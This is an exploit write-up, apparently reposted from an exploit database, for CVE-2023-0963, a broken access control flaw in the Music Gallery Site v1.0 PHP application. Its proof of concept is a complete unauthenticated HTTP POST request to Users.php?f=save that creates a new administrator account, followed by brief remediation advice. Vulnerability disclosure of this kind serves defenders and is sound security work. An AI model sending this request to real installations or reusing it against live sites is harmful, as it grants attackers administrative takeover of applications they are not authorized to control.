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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title:  Music Gallery Site v1.0 - Broken Access Control
# Exploit Author: Muhammad Navaid Zafar Ansari
# Date: 21 February 2023

### CVE Assigned:
**[CVE-2023-0963](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0963)** [mitre.org](https://www.cve.org/CVERecord?id=CVE-2023-0963) [nvd.nist.org](https://nvd.nist.gov/vuln/detail/CVE-2023-0963)

### Vendor Homepage:
> https://www.sourcecodester.com
### Software Link:
> [Music Gallery Site](https://www.sourcecodester.com/php/16073/music-gallery-site-using-php-and-mysql-database-free-source-code.html)
### Version:
> v 1.0

# Tested on: Windows 11

### Broken Authentication:
> Broken Access Control is a type of security vulnerability that occurs when a web application fails to properly restrict users' access to certain resources and functionality. Access control is the process of ensuring that users are authorized to access only the resources and functionality that they are supposed to. Broken Access Control can occur due to poor implementation of access controls in the application, failure to validate input, or insufficient testing and review.

### Vulnerable URLs:
> /php-music/classes/Users.php

>/php-music/classes/Master.php

### Affected Page:
> Users.php , Master.php
> On these page, application isn't verifying the authenticated mechanism. Due to that, all the parameters are vulnerable to broken access control and any remote attacker could create and update the data into the application. Specifically, Users.php could allow to remote attacker to create a admin user without log-in to the application.
### Description:
> Broken access control allows any remote attacker to create, update and delete the data of the application. Specifically, adding the admin users
### Proof of Concept:
> Following steps are involved:
1. Send a POST request with required parameter to Users.php?f=save (See Below Request)

2. Request:
```
POST /php-music/classes/Users.php?f=save HTTP/1.1
Host: localhost
Content-Length: 876
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjwBNagY7zt6cjYHp
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/php-music/admin/?page=user/manage_user
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryjwBNagY7zt6cjYHp
Content-Disposition: form-data; name="id"


------WebKitFormBoundaryjwBNagY7zt6cjYHp
Content-Disposition: form-data; name="firstname"

Test
------WebKitFormBoundaryjwBNagY7zt6cjYHp
Content-Disposition: form-data; name="middlename"

Admin
------WebKitFormBoundaryjwBNagY7zt6cjYHp
Content-Disposition: form-data; name="lastname"

Check
------WebKitFormBoundaryjwBNagY7zt6cjYHp
Content-Disposition: form-data; name="username"

testadmin
------WebKitFormBoundaryjwBNagY7zt6cjYHp
Content-Disposition: form-data; name="password"

test123
------WebKitFormBoundaryjwBNagY7zt6cjYHp
Content-Disposition: form-data; name="type"

1
------WebKitFormBoundaryjwBNagY7zt6cjYHp
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryjwBNagY7zt6cjYHp--

```

3. It will create the user by defining the valid values (see below screenshot of successfull response), Successful exploit screenshots are below (without cookie parameter)

![image](https://user-images.githubusercontent.com/123810418/220352229-389dfaf8-57e0-470d-b8a5-c873a13b3b51.png)

![image](https://user-images.githubusercontent.com/123810418/220352493-ef35a8ba-c613-4745-9004-0159b3841951.png)

4. Vulnerable Code Snippets:

Users.php

![image](https://user-images.githubusercontent.com/123810418/220353008-b1448508-7451-412a-a5eb-049aa20b3d41.png)

Master.php

![image](https://user-images.githubusercontent.com/123810418/220353132-1067a86c-282d-4fc5-8733-ceab4b1fef56.png)


### Recommendation:
> Whoever uses this CMS, should update the authorization mechanism on top of the  Users.php , Master.php pages as per requirement to avoid a Broken Access Control attack: